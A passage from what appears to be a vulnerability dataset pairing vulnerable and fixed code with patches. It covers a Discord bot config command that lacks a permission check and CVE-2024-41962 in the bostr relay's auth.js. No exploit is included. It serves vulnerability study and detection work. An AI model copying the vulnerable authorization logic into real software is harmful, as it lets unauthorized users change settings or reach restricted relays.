= \"Manage configuration.\";\n    public override readonly defer = true;\n    public override readonly systemPermissions = [];\n    public override readonly usage = [\"<subcommand: String> [...args: Any[]]\"];\n    public override readonly subcommandMeta: Record<string, SubcommandMeta> = {\n        get: {\n            description: \"Get the value of a configuration key\",\n            usage: [\"<key>\"]\n        },\n        set: {\n            description: \"Set the value of a configuration key\",\n            usage: [\"<key> <value>\"]\n        },\n        save: {\n            description: \"Save the current configuration.\"\n        },\n        restore: {\n            description: \"Restore the previously saved configuration.\"\n        },\n        unset: {\n            description: \"Unset a configuration key\"\n        }\n    };\n\n    @Inject()\n    private readonly configManager!: ConfigurationManager;\n    @Inject()\n    private readonly permissionManagerService!: PermissionManagerService;\n\n    protected dottedConfig = {\n        guild: getZodPropertyPaths(GuildConfigSchema),\n        system: getZodPropertyPaths(SystemConfigSchema)\n    };\n\n    public override build(): Buildable[] {\n        return [\n            this.buildChatInput()\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"get\")\n                        .setDescription(\"Get the value of a configuration key\")\n                        .addStringOption(option =>\n                            option\n                                .setName(\"key\")\n                                .setDescription(\"The configuration key to view or change.\")\n                                .setAutocomplete(true)\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"config_type\")\n                                .setDescription(\"The configuration type\")\n                                .setChoices(\n                                    {\n                                        name: \"Guild\",\n                                        value: \"guild\"\n                                    },\n                                    {\n                                        name: \"System\",\n                                        value: \"system\"\n                                    }\n                                )\n                        )\n                )\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"unset\")\n                        .setDescription(\"Unset a configuration key\")\n                        .addStringOption(option =>\n                            option\n                                .setName(\"key\")\n                                .setDescription(\"The configuration key to unset.\")\n                                .setAutocomplete(true)\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"config_type\")\n                                .setDescription(\"The configuration type\")\n                                .setChoices(\n                                    {\n                                        name: \"Guild\",\n                                        value: \"guild\"\n                                    },\n                                    {\n                                        name: \"System\",\n                                        value: \"system\"\n                                    }\n                                )\n                        )\n                )\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"set\")\n                        .setDescription(\"Set the value of a configuration key\")\n                        .addStringOption(option =>\n                            option\n                                .setName(\"key\")\n                                .setDescription(\"The configuration key to view or change.\")\n                                .setAutocomplete(true)\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"value\")\n                                .setDescription(\"The new value to set the configuration key to.\")\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"cast\")\n                                .setDescription(\"The type to cast the value to.\")\n                                .setChoices(\n                                    {\n                                        name: \"String\",\n                                        value: \"string\"\n                                    },\n                                    {\n                                        name: \"Number\",\n                                        value: \"number\"\n                                    },\n                                    {\n                                        name: \"Boolean\",\n                                        value: \"boolean\"\n                                    },\n                                    {\n                                        name: \"JSON\",\n                                        value: \"json\"\n                                    }\n                                )\n                        )\n                        .addBooleanOption(option =>\n                            option\n                                .setName(\"save\")\n                                .setDescription(\"Save the current configuration immediately.\")\n                        )\n                        .addBooleanOption(option =>\n                            option\n                                .setName(\"no_create\")\n                                .setDescription(\"Do not create the key if it does not exist.\")\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"config_type\")\n                                .setDescription(\"The configuration type\")\n                                .setChoices(\n                                    {\n                                        name: \"Guild\",\n                                        value: \"guild\"\n                                    },\n                                    {\n                                        name: \"System\",\n                                        value: \"system\"\n                                    }\n                                )\n                        )\n                )\n                .addSubcommand(subcommand =>\n                    subcommand.setName(\"save\").setDescription(\"Save the current configuration.\")\n                )\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"restore\")\n                        .setDescription(\"Restore the previously saved configuration.\")\n                )\n        ];\n    }\n\n    public override async execute(\n        context: LegacyContext | InteractionContext<ChatInputCommandInteraction>\n    ): Promise<void> {\n        const subcommand = context.isLegacy()\n            ? context.argv[1]\n            : context.options.getSubcommand(true);\n\n        if (!subcommand) {\n            await context.error(\"You must provide a subcommand.\");\n            return;\n        }\n\n        if (\n            !context.isLegacy() &&\n            (subcommand === \"get\" || subcommand === \"set\" || subcommand === \"unset\") &&\n            context.options.getString(\"config_type\") === \"system\" &&\n            !(await this.permissionManagerService.isSystemAdmin(context.member!))\n        ) {\n            await context.error(\n                \"You do not have permission to view or change system configuration.\"\n            );\n\n            return;\n        }\n\n        switch (subcommand) {\n            case \"get\":\n                return this.get(context);\n            case \"set\":\n                return this.set(context);\n            case \"unset\":\n                return this.unset(context);\n            case \"save\":\n                return this.save(context);\n            case \"restore\":\n                return this.restore(context);\n            default:\n                await context.error(\n                    `The subcommand \\`${escapeInlineCode(\n                        subcommand\n                    )}\\` does not exist. Please use one of the following subcommands: \\`${this.subcommands.join(\n                        \"`, `\"\n                    )}\\`.`\n                );\n                return;\n        }\n    }\n\n    @GatewayEventListener(\"interactionCreate\")\n    public async onInteractionCreate(interaction: Interaction) {\n        if (\n            !interaction.isAutocomplete() ||\n            interaction.commandName !== this.name ||\n            !interaction.inGuild()\n        ) {\n            return;\n        }\n\n        const query = interaction.options.getFocused();\n        const configType = (interaction.options.getString(\"config_type\") ?? \"guild\") as\n            | \"guild\"\n            | \"system\";\n\n        if (\n            configType === \"system\" &&\n            !(await this.permissionManagerService.isSystemAdmin(interaction.member as GuildMember))\n        ) {\n            await interaction.respond([]);\n            return;\n        }\n\n        const config =\n            configType === \"guild\"\n                ? (this.dottedConfig?.guild ?? [])\n                : (this.dottedConfig?.system ?? []);\n        const keys = [];\n\n        for (const key of config) {\n            if (keys.length >= 25) {\n                break;\n            }\n\n            if (key.includes(query)) {\n                keys.push({ name: key, value: key });\n            }\n        }\n\n        await interaction.respond(keys);\n    }\n\n    private async get(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        const key = context.isLegacy() ? context.args[1] : context.options.getString(\"key\", true);\n\n        if (!key) {\n            await context.error(\"You must provide a configuration key to view.\");\n            return;\n        }\n\n        const configType = (\n            context.isLegacy() ? \"guild\" : (context.options.getString(\"config_type\") ?? \"guild\")\n        ) as \"guild\" | \"system\";\n        const config = configType === \"guild\" ? context.config : this.configManager.systemConfig;\n\n        if (!config) {\n            await context.error(\"No configuration exists for this server.\");\n            return;\n        }\n\n        if (!has(config, key)) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` does not exist.`\n            );\n            return;\n        }\n\n        const configValue = get(config, key);\n        const embed = new EmbedBuilder()\n            .setTitle(\"Configuration Value\")\n            .setDescription(\n                `### ${inlineCode(key)}\\n\\n${codeBlock(\n                    \"json\",\n                    JSON5.stringify(configValue, {\n                        space: 2,\n                        replacer: null,\n                        quote: '\"'\n                    })\n                )}`\n            )\n            .setColor(Colors.Green)\n            .setTimestamp();\n\n        await context.replyEmbed(embed);\n    }\n\n    private async unset(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        const key = context.isLegacy() ? context.args[1] : context.options.getString(\"key\", true);\n\n        if (!key) {\n            await context.error(\"You must provide a configuration key to unset.\");\n            return;\n        }\n\n        const configType = (\n            context.isLegacy() ? \"guild\" : (context.options.getString(\"config_type\") ?? \"guild\")\n        ) as \"guild\" | \"system\";\n        const config = configType === \"guild\" ? context.config : this.configManager.systemConfig;\n\n        if (!config) {\n            await context.error(\"No configuration exists for this server.\");\n            return;\n        }\n\n        if (!has(config, key)) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` does not exist.`\n            );\n            return;\n        }\n\n        try {\n            unset(config, key);\n        } catch (error) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` could not be unset: ${(error as Error)?.message}`\n            );\n\n            return;\n        }\n\n        const embed = new EmbedBuilder()\n            .setTitle(\"Configuration Key Unset\")\n            .setDescription(`### ${inlineCode(key)}\\n\\nSuccessfully unset this key.`)\n            .setColor(Colors.Green)\n            .setTimestamp();\n\n        await context.replyEmbed(embed);\n    }\n\n    private async set(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        if (context.isLegacy()) {\n            if (!context.args[1]) {\n                await context.error(\"You must provide a configuration key to set.\");\n                return;\n            }\n\n            if (!context.args[2]) {\n                await context.error(\"You must provide a value to set the configuration key to.\");\n                return;\n            }\n        }\n\n        const key = context.isLegacy() ? context.args[1] : context.options.getString(\"key\", true);\n        const value = context.isLegacy()\n            ? context.commandContent\n                  .slice(context.argv[0].length)\n                  .trimStart()\n                  .slice(context.argv[1].length)\n                  .trimStart()\n                  .slice(context.argv[2].length)\n                  .trim()\n            : context.options.getString(\"value\", true);\n        const cast = (\n            context.isLegacy() ? \"json\" : (context.options.getString(\"cast\") ?? \"string\")\n        ) as CastType;\n        const save = context.isLegacy() ? false : context.options.getBoolean(\"save\");\n        const noCreate = context.isLegacy() ? false : context.options.getBoolean(\"no_create\");\n        const configType = (\n            context.isLegacy() ? \"guild\" : (context.options.getString(\"config_type\") ?? \"guild\")\n        ) as \"guild\" | \"system\";\n        const config = configType === \"guild\" ? context.config : this.configManager.systemConfig;\n\n        if (!config) {\n            await context.error(\"No configuration exists for this server.\");\n            return;\n        }\n\n        if (!key) {\n            await context.error(\"You must provide a configuration key to set.\");\n            return;\n        }\n\n        if (noCreate && !has(config, key)) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` does not exist.`\n            );\n            return;\n        }\n\n        let finalValue;\n\n        switch (cast) {\n            case \"string\":\n                finalValue = value;\n                break;\n            case \"number\":\n                finalValue = parseFloat(value);\n\n                if (isNaN(finalValue)) {\n                    await context.error(\n                        `The value \\`${escapeInlineCode(value)}\\` is not a valid number.`\n                    );\n                    return;\n                }\n\n                break;\n            case \"boolean\":\n                {\n                    const lowerCased = value.toLowerCase();\n\n                    if (lowerCased !== \"true\" && lowerCased !== \"false\") {\n                        await context.error(\n                            `The value \\`${escapeInlineCode(value)}\\` is not a valid boolean.`\n                        );\n                        return;\n                    }\n\n                    finalValue = lowerCased === \"true\";\n                }\n                break;\n            case \"json\":\n                try {\n                    finalValue = JSON5.parse(value);\n                } catch (e) {\n                    const error = codeBlock(\n                        e instanceof Object && \"message\" in e ? `${e.message}` : `${e}`\n                    );\n                    await context.reply({\n                        embeds: [\n                            {\n                                description: `### ${context.emoji(\n                                    \"error\"\n                                )} Failed to parse the value as JSON\\n\\n${codeBlock(error.slice(0, 1800))}${\n                                    error.length > 1800\n                                        ? \"\\n... The error message is loo long.\"\n                                        : \"\"\n                                }`,\n                                color: Colors.Red,\n                                footer: {\n                                    text: \"No changes were made to the configuration\"\n                                },\n                                timestamp: new Date().toISOString()\n                            }\n                        ]\n                    });\n\n                    return;\n                }\n\n                break;\n        }\n\n        set(config, key, finalValue, {\n            create: !noCreate\n        });\n\n        const embed = new EmbedBuilder();\n        const error = this.configManager.testConfig();\n        const errorString = error\n            ? JSON5.stringify(error.error.format(), {\n                  space: 2,\n                  replacer: null,\n                  quote: '\"'\n              })\n            : null;\n\n        if (errorString && error) {\n            await this.configManager.load();\n\n            embed\n                .setDescription(\n                    `### ${context.emoji(\"error\")} The configuration is invalid (${inlineCode(\n                        error.type\n                    )})\\n\\nThe changes were not saved.\\n\\n${codeBlock(errorString.slice(0, 1800))}${\n                        errorString.length > 1800 ? \"\\n... The error description is loo long.\" : \"\"\n                    }`\n                )\n                .setColor(Colors.Red)\n                .setFooter({ text: \"The configuration was not saved.\" });\n\n            await context.replyEmbed(embed);\n            return;\n        }\n\n        embed\n            .setTitle(\"Configuration Value Changed\")\n            .setDescription(\n                `### ${inlineCode(key)}\\n\\n${codeBlock(\n                    \"json\",\n                    JSON5.stringify(finalValue, {\n                        space: 2,\n                        replacer: null,\n                        quote: '\"'\n                    })\n                )}`\n            )\n            .setColor(Colors.Green)\n            .setTimestamp()\n            .setFooter({ text: `The configuration was ${save ? \"saved\" : \"applied\"}.` });\n\n        if (save) {\n            await this.configManager.write({\n                guild: configType === \"guild\",\n                system: configType === \"system\"\n            });\n        }\n\n        await context.replyEmbed(embed);\n    }\n\n    private async save(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        await this.configManager.write();\n        await context.success(\"The configuration was saved.\");\n    }\n\n    private async restore(\n        context: LegacyContext | InteractionContext<ChatInputCommandInteraction>\n    ) {\n        await this.configManager.load();\n        await context.success(\"The configuration was restored.\");\n    }\n}"}], "fix_func": [{"id": "fix_js_294_1", "commit": "ef46ca98562f3c1abef4ff7dd94d8f7b8155ee50", "file_path": "src/main/typescript/commands/settings/ConfigCommand.ts", "start_line": 26, "end_line": 557, "snippet": "class ConfigCommand extends Command {\n    public override readonly name = \"config\";\n    public override readonly description: string = \"Manage configuration.\";\n    public override readonly defer = true;\n    public override readonly systemPermissions = [];\n    public override readonly usage = [\"<subcommand: String> [...args: Any[]]\"];\n    public override readonly subcommandMeta: Record<string, SubcommandMeta> = {\n        get: {\n            description: \"Get the value of a configuration key\",\n            usage: [\"<key>\"]\n        },\n        set: {\n            description: \"Set the value of a configuration key\",\n            usage: [\"<key> <value>\"]\n        },\n        save: {\n            description: \"Save the current configuration.\"\n        },\n        restore: {\n            description: \"Restore the previously saved configuration.\"\n        },\n        unset: {\n            description: \"Unset a configuration key\"\n        }\n    };\n    public override readonly permissions = [PermissionFlags.ManageGuild];\n\n    @Inject()\n    private readonly configManager!: ConfigurationManager;\n    @Inject()\n    private readonly permissionManagerService!: PermissionManagerService;\n\n    protected dottedConfig = {\n        guild: getZodPropertyPaths(GuildConfigSchema),\n        system: getZodPropertyPaths(SystemConfigSchema)\n    };\n\n    public override build(): Buildable[] {\n        return [\n            this.buildChatInput()\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"get\")\n                        .setDescription(\"Get the value of a configuration key\")\n                        .addStringOption(option =>\n                            option\n                                .setName(\"key\")\n                                .setDescription(\"The configuration key to view or change.\")\n                                .setAutocomplete(true)\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"config_type\")\n                                .setDescription(\"The configuration type\")\n                                .setChoices(\n                                    {\n                                        name: \"Guild\",\n                                        value: \"guild\"\n                                    },\n                                    {\n                                        name: \"System\",\n                                        value: \"system\"\n                                    }\n                                )\n                        )\n                )\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"unset\")\n                        .setDescription(\"Unset a configuration key\")\n                        .addStringOption(option =>\n                            option\n                                .setName(\"key\")\n                                .setDescription(\"The configuration key to unset.\")\n                                .setAutocomplete(true)\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"config_type\")\n                                .setDescription(\"The configuration type\")\n                                .setChoices(\n                                    {\n                                        name: \"Guild\",\n                                        value: \"guild\"\n                                    },\n                                    {\n                                        name: \"System\",\n                                        value: \"system\"\n                                    }\n                                )\n                        )\n                )\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"set\")\n                        .setDescription(\"Set the value of a configuration key\")\n                        .addStringOption(option =>\n                            option\n                                .setName(\"key\")\n                                .setDescription(\"The configuration key to view or change.\")\n                                .setAutocomplete(true)\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"value\")\n                                .setDescription(\"The new value to set the configuration key to.\")\n                                .setRequired(true)\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"cast\")\n                                .setDescription(\"The type to cast the value to.\")\n                                .setChoices(\n                                    {\n                                        name: \"String\",\n                                        value: \"string\"\n                                    },\n                                    {\n                                        name: \"Number\",\n                                        value: \"number\"\n                                    },\n                                    {\n                                        name: \"Boolean\",\n                                        value: \"boolean\"\n                                    },\n                                    {\n                                        name: \"JSON\",\n                                        value: \"json\"\n                                    }\n                                )\n                        )\n                        .addBooleanOption(option =>\n                            option\n                                .setName(\"save\")\n                                .setDescription(\"Save the current configuration immediately.\")\n                        )\n                        .addBooleanOption(option =>\n                            option\n                                .setName(\"no_create\")\n                                .setDescription(\"Do not create the key if it does not exist.\")\n                        )\n                        .addStringOption(option =>\n                            option\n                                .setName(\"config_type\")\n                                .setDescription(\"The configuration type\")\n                                .setChoices(\n                                    {\n                                        name: \"Guild\",\n                                        value: \"guild\"\n                                    },\n                                    {\n                                        name: \"System\",\n                                        value: \"system\"\n                                    }\n                                )\n                        )\n                )\n                .addSubcommand(subcommand =>\n                    subcommand.setName(\"save\").setDescription(\"Save the current configuration.\")\n                )\n                .addSubcommand(subcommand =>\n                    subcommand\n                        .setName(\"restore\")\n                        .setDescription(\"Restore the previously saved configuration.\")\n                )\n        ];\n    }\n\n    public override async execute(\n        context: LegacyContext | InteractionContext<ChatInputCommandInteraction>\n    ): Promise<void> {\n        const subcommand = context.isLegacy()\n            ? context.argv[1]\n            : context.options.getSubcommand(true);\n\n        if (!subcommand) {\n            await context.error(\"You must provide a subcommand.\");\n            return;\n        }\n\n        if (\n            !context.isLegacy() &&\n            (subcommand === \"get\" || subcommand === \"set\" || subcommand === \"unset\") &&\n            context.options.getString(\"config_type\") === \"system\" &&\n            !(await this.permissionManagerService.isSystemAdmin(context.member!))\n        ) {\n            await context.error(\n                \"You do not have permission to view or change system configuration.\"\n            );\n\n            return;\n        }\n\n        switch (subcommand) {\n            case \"get\":\n                return this.get(context);\n            case \"set\":\n                return this.set(context);\n            case \"unset\":\n                return this.unset(context);\n            case \"save\":\n                return this.save(context);\n            case \"restore\":\n                return this.restore(context);\n            default:\n                await context.error(\n                    `The subcommand \\`${escapeInlineCode(\n                        subcommand\n                    )}\\` does not exist. Please use one of the following subcommands: \\`${this.subcommands.join(\n                        \"`, `\"\n                    )}\\`.`\n                );\n                return;\n        }\n    }\n\n    @GatewayEventListener(\"interactionCreate\")\n    public async onInteractionCreate(interaction: Interaction) {\n        if (\n            !interaction.isAutocomplete() ||\n            interaction.commandName !== this.name ||\n            !interaction.inGuild()\n        ) {\n            return;\n        }\n\n        const query = interaction.options.getFocused();\n        const configType = (interaction.options.getString(\"config_type\") ?? \"guild\") as\n            | \"guild\"\n            | \"system\";\n\n        if (\n            configType === \"system\" &&\n            !(await this.permissionManagerService.isSystemAdmin(interaction.member as GuildMember))\n        ) {\n            await interaction.respond([]);\n            return;\n        }\n\n        const config =\n            configType === \"guild\"\n                ? (this.dottedConfig?.guild ?? [])\n                : (this.dottedConfig?.system ?? []);\n        const keys = [];\n\n        for (const key of config) {\n            if (keys.length >= 25) {\n                break;\n            }\n\n            if (key.includes(query)) {\n                keys.push({ name: key, value: key });\n            }\n        }\n\n        await interaction.respond(keys);\n    }\n\n    private async get(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        const key = context.isLegacy() ? context.args[1] : context.options.getString(\"key\", true);\n\n        if (!key) {\n            await context.error(\"You must provide a configuration key to view.\");\n            return;\n        }\n\n        const configType = (\n            context.isLegacy() ? \"guild\" : (context.options.getString(\"config_type\") ?? \"guild\")\n        ) as \"guild\" | \"system\";\n        const config = configType === \"guild\" ? context.config : this.configManager.systemConfig;\n\n        if (!config) {\n            await context.error(\"No configuration exists for this server.\");\n            return;\n        }\n\n        if (!has(config, key)) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` does not exist.`\n            );\n            return;\n        }\n\n        const configValue = get(config, key);\n        const embed = new EmbedBuilder()\n            .setTitle(\"Configuration Value\")\n            .setDescription(\n                `### ${inlineCode(key)}\\n\\n${codeBlock(\n                    \"json\",\n                    JSON5.stringify(configValue, {\n                        space: 2,\n                        replacer: null,\n                        quote: '\"'\n                    })\n                )}`\n            )\n            .setColor(Colors.Green)\n            .setTimestamp();\n\n        await context.replyEmbed(embed);\n    }\n\n    private async unset(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        const key = context.isLegacy() ? context.args[1] : context.options.getString(\"key\", true);\n\n        if (!key) {\n            await context.error(\"You must provide a configuration key to unset.\");\n            return;\n        }\n\n        const configType = (\n            context.isLegacy() ? \"guild\" : (context.options.getString(\"config_type\") ?? \"guild\")\n        ) as \"guild\" | \"system\";\n        const config = configType === \"guild\" ? context.config : this.configManager.systemConfig;\n\n        if (!config) {\n            await context.error(\"No configuration exists for this server.\");\n            return;\n        }\n\n        if (!has(config, key)) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` does not exist.`\n            );\n            return;\n        }\n\n        try {\n            unset(config, key);\n        } catch (error) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` could not be unset: ${(error as Error)?.message}`\n            );\n\n            return;\n        }\n\n        const embed = new EmbedBuilder()\n            .setTitle(\"Configuration Key Unset\")\n            .setDescription(`### ${inlineCode(key)}\\n\\nSuccessfully unset this key.`)\n            .setColor(Colors.Green)\n            .setTimestamp();\n\n        await context.replyEmbed(embed);\n    }\n\n    private async set(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        if (context.isLegacy()) {\n            if (!context.args[1]) {\n                await context.error(\"You must provide a configuration key to set.\");\n                return;\n            }\n\n            if (!context.args[2]) {\n                await context.error(\"You must provide a value to set the configuration key to.\");\n                return;\n            }\n        }\n\n        const key = context.isLegacy() ? context.args[1] : context.options.getString(\"key\", true);\n        const value = context.isLegacy()\n            ? context.commandContent\n                  .slice(context.argv[0].length)\n                  .trimStart()\n                  .slice(context.argv[1].length)\n                  .trimStart()\n                  .slice(context.argv[2].length)\n                  .trim()\n            : context.options.getString(\"value\", true);\n        const cast = (\n            context.isLegacy() ? \"json\" : (context.options.getString(\"cast\") ?? \"string\")\n        ) as CastType;\n        const save = context.isLegacy() ? false : context.options.getBoolean(\"save\");\n        const noCreate = context.isLegacy() ? false : context.options.getBoolean(\"no_create\");\n        const configType = (\n            context.isLegacy() ? \"guild\" : (context.options.getString(\"config_type\") ?? \"guild\")\n        ) as \"guild\" | \"system\";\n        const config = configType === \"guild\" ? context.config : this.configManager.systemConfig;\n\n        if (!config) {\n            await context.error(\"No configuration exists for this server.\");\n            return;\n        }\n\n        if (!key) {\n            await context.error(\"You must provide a configuration key to set.\");\n            return;\n        }\n\n        if (noCreate && !has(config, key)) {\n            await context.error(\n                `The configuration key \\`${escapeInlineCode(key)}\\` does not exist.`\n            );\n            return;\n        }\n\n        let finalValue;\n\n        switch (cast) {\n            case \"string\":\n                finalValue = value;\n                break;\n            case \"number\":\n                finalValue = parseFloat(value);\n\n                if (isNaN(finalValue)) {\n                    await context.error(\n                        `The value \\`${escapeInlineCode(value)}\\` is not a valid number.`\n                    );\n                    return;\n                }\n\n                break;\n            case \"boolean\":\n                {\n                    const lowerCased = value.toLowerCase();\n\n                    if (lowerCased !== \"true\" && lowerCased !== \"false\") {\n                        await context.error(\n                            `The value \\`${escapeInlineCode(value)}\\` is not a valid boolean.`\n                        );\n                        return;\n                    }\n\n                    finalValue = lowerCased === \"true\";\n                }\n                break;\n            case \"json\":\n                try {\n                    finalValue = JSON5.parse(value);\n                } catch (e) {\n                    const error = codeBlock(\n                        e instanceof Object && \"message\" in e ? `${e.message}` : `${e}`\n                    );\n                    await context.reply({\n                        embeds: [\n                            {\n                                description: `### ${context.emoji(\n                                    \"error\"\n                                )} Failed to parse the value as JSON\\n\\n${codeBlock(error.slice(0, 1800))}${\n                                    error.length > 1800\n                                        ? \"\\n... The error message is loo long.\"\n                                        : \"\"\n                                }`,\n                                color: Colors.Red,\n                                footer: {\n                                    text: \"No changes were made to the configuration\"\n                                },\n                                timestamp: new Date().toISOString()\n                            }\n                        ]\n                    });\n\n                    return;\n                }\n\n                break;\n        }\n\n        set(config, key, finalValue, {\n            create: !noCreate\n        });\n\n        const embed = new EmbedBuilder();\n        const error = this.configManager.testConfig();\n        const errorString = error\n            ? JSON5.stringify(error.error.format(), {\n                  space: 2,\n                  replacer: null,\n                  quote: '\"'\n              })\n            : null;\n\n        if (errorString && error) {\n            await this.configManager.load();\n\n            embed\n                .setDescription(\n                    `### ${context.emoji(\"error\")} The configuration is invalid (${inlineCode(\n                        error.type\n                    )})\\n\\nThe changes were not saved.\\n\\n${codeBlock(errorString.slice(0, 1800))}${\n                        errorString.length > 1800 ? \"\\n... The error description is loo long.\" : \"\"\n                    }`\n                )\n                .setColor(Colors.Red)\n                .setFooter({ text: \"The configuration was not saved.\" });\n\n            await context.replyEmbed(embed);\n            return;\n        }\n\n        embed\n            .setTitle(\"Configuration Value Changed\")\n            .setDescription(\n                `### ${inlineCode(key)}\\n\\n${codeBlock(\n                    \"json\",\n                    JSON5.stringify(finalValue, {\n                        space: 2,\n                        replacer: null,\n                        quote: '\"'\n                    })\n                )}`\n            )\n            .setColor(Colors.Green)\n            .setTimestamp()\n            .setFooter({ text: `The configuration was ${save ? \"saved\" : \"applied\"}.` });\n\n        if (save) {\n            await this.configManager.write({\n                guild: configType === \"guild\",\n                system: configType === \"system\"\n            });\n        }\n\n        await context.replyEmbed(embed);\n    }\n\n    private async save(context: LegacyContext | InteractionContext<ChatInputCommandInteraction>) {\n        await this.configManager.write();\n        await context.success(\"The configuration was saved.\");\n    }\n\n    private async restore(\n        context: LegacyContext | InteractionContext<ChatInputCommandInteraction>\n    ) {\n        await this.configManager.load();\n        await context.success(\"The configuration was restored.\");\n    }\n}"}], "vul_patch": "--- a/src/main/typescript/commands/settings/ConfigCommand.ts\n+++ b/src/main/typescript/commands/settings/ConfigCommand.ts\n@@ -23,6 +23,7 @@\n             description: \"Unset a configuration key\"\n         }\n     };\n+    public override readonly permissions = [PermissionFlags.ManageGuild];\n \n     @Inject()\n     private readonly configManager!: ConfigurationManager;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-41962", "cve_description": "Bostr is an nostr relay aggregator proxy that acts like a regular nostr relay. bostr let everyone in even having authorized_keys being set when noscraper is set to true. This vulnerability is fixed in 3.0.10.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/Yonle/bostr", "patch_url": ["https://github.com/Yonle/bostr/commit/49181f4ec9ae1472c6675cab56bbc01e723855af"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_104_1", "commit": "8b131e2", "file_path": "auth.js", "start_line": 14, "end_line": 45, "snippet": "module.exports = (authKey, data, ws, req) => {\n  if (!authorized_keys?.length && !Object.keys(private_keys).length && !noscraper) return; // do nothing\n  if (!validateEvent(data) || !verifyEvent(data)) {\n    ws.send(JSON.stringify([\"NOTICE\", \"error: invalid challenge response.\"]));\n    return false;\n  }\n\n  if (!authorized_keys?.includes(data.pubkey) && !private_keys[data.pubkey] && !noscraper) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"unauthorized.\"]));\n    return false;\n  }\n\n  if (data.kind != 22242) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"not kind 22242.\"]));\n    return false;\n  }\n\n  const tags = Object.fromEntries(data.tags);\n\n  if (!tags.relay?.includes(req.headers.host)) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"unmatched relay url.\"]));\n    return false;\n  };\n\n  if (tags.challenge !== authKey) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"unmatched challenge string.\"]));\n    return false;\n  }\n\n  ws.send(JSON.stringify([\"OK\", data.id, true, `Hello ${data.pubkey}`]));\n  return true;\n}"}], "fix_func": [{"id": "fix_js_104_1", "commit": "49181f4", "file_path": "auth.js", "start_line": 14, "end_line": 47, "snippet": "module.exports = (authKey, data, ws, req) => {\n  if (!authorized_keys?.length && !Object.keys(private_keys).length && !noscraper) return; // do nothing\n  if (!validateEvent(data) || !verifyEvent(data)) {\n    ws.send(JSON.stringify([\"NOTICE\", \"error: invalid challenge response.\"]));\n    return false;\n  }\n\n  let pubkeyInConfig = authorized_keys?.includes(data.pubkey) || data.pubkey in private_keys;\n\n  if (authorized_keys?.length && !pubkeyInConfig) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"unauthorized.\"]));\n    return false;\n  }\n\n  if (data.kind != 22242) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"not kind 22242.\"]));\n    return false;\n  }\n\n  const tags = Object.fromEntries(data.tags);\n\n  if (!tags.relay?.includes(req.headers.host)) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"unmatched relay url.\"]));\n    return false;\n  };\n\n  if (tags.challenge !== authKey) {\n    ws.send(JSON.stringify([\"OK\", data.id, false, \"unmatched challenge string.\"]));\n    return false;\n  }\n\n  ws.send(JSON.stringify([\"OK\", data.id, true, `Hello ${data.pubkey}`]));\n  return true;\n}"}], "vul_patch": "--- a/auth.js\n+++ b/auth.js\n@@ -5,7 +5,9 @@\n     return false;\n   }\n \n-  if (!authorized_keys?.includes(data.pubkey) && !private_keys[data.pubkey] && !noscraper) {\n+  let pubkeyInConfig = authorized_keys?.includes(data.pubkey) || data.pubkey in private_keys;\n+\n+  if (authorized_keys?.length && !pubkeyInConfig) {\n     ws.send(JSON.stringify([\"OK\", data.id, false, \"unauthorized.\"]));\n     return false;\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
